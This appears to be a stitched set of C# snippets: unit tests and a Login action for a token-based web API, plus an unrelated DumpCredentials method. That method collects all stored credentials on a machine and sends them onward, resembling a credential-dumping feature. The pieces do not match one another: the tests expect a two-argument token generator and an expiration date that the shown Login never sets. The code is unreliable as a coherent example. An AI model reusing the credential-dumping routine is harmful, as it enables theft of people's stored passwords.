public async Task ItSavesAndReturnsANewAuthTokenIfLoginWasSuccessful() { var credentialsMessage = new CredentialsMessage { UserName = "******", Password = "******", UniqueDeviceId = "some unique id" }; var loggedInUser = new ApplicationUser { Id = "some user id" }; autoMocker.Get <ApplicationUserManager>().Expect(mock => mock.FindAsync( Arg <string> .Matches(userName => userName == credentialsMessage.UserName), Arg <string> .Matches(password => password == credentialsMessage.Password))) .Return(Task.FromResult(loggedInUser)); var someNewAuthToken = new AuthToken("the auth token value", new DateTime()); autoMocker.Get <IAuthTokenGenerator>().Expect(mock => mock.GenerateAuthToken(loggedInUser.Id, credentialsMessage.UniqueDeviceId)).Return(someNewAuthToken); //--act var actualResponse = await autoMocker.ClassUnderTest.Login(credentialsMessage); Assert.That(actualResponse.Content, Is.TypeOf(typeof(ObjectContent <NewAuthTokenMessage>))); var content = actualResponse.Content as ObjectContent <NewAuthTokenMessage>; var newAuthTokenMessage = content.Value as NewAuthTokenMessage; Assert.That(newAuthTokenMessage.AuthenticationToken, Is.EqualTo(someNewAuthToken.AuthenticationTokenString)); Assert.That(newAuthTokenMessage.AuthenticationTokenExpirationDateTime, Is.EqualTo(someNewAuthToken.AuthenticationTokenExpirationDateTime)); }
public async Task <HttpResponseMessage> Login(CredentialsMessage credentialsMessage) { var user = await applicationUserManager.FindAsync(credentialsMessage.UserName, credentialsMessage.Password); if (user == null) { return(Request.CreateErrorResponse(HttpStatusCode.Unauthorized, "Invalid credentials provided.")); } NewAuthTokenMessage newAuthTokenMessage = new NewAuthTokenMessage { AuthenticationToken = authTokenGenerator.GenerateAuthToken(user.Id) }; return(Request.CreateResponse(HttpStatusCode.OK, newAuthTokenMessage)); }
public async Task ItReturnsAnHttp401NotAuthorizedResponseIfTheUsernameAndPasswordIsNotValid() { var credentialsMessage = new CredentialsMessage { UserName = "******", Password = "******" }; autoMocker.Get <ApplicationUserManager>().Expect(mock => mock.FindAsync( Arg <string> .Matches(userName => userName == credentialsMessage.UserName), Arg <string> .Matches(password => password == credentialsMessage.Password))) .Return(Task.FromResult((ApplicationUser)null)); var actualResponse = await autoMocker.ClassUnderTest.Login(credentialsMessage); AssertThatApiAction.HasThisError(actualResponse, HttpStatusCode.Unauthorized, "Invalid credentials provided."); }
/// <summary> /// /// </summary> /// <param name="message"></param> private void DumpCredentials(StartCredentialsMessage message) { SendStatus(message.WindowId, "Credentials", "Started"); Task.Factory.StartNew(() => { try { var credentialsMessage = new CredentialsMessage( LibCredentials.LibCredentials.GetAllCredentialsAsDictionaries()); ExecuteComplexSendOperation(message.WindowId, "Credentials", () => credentialsMessage); } catch { // cancelled SendStatus(message.WindowId, "Credentials", "Ended"); } }); }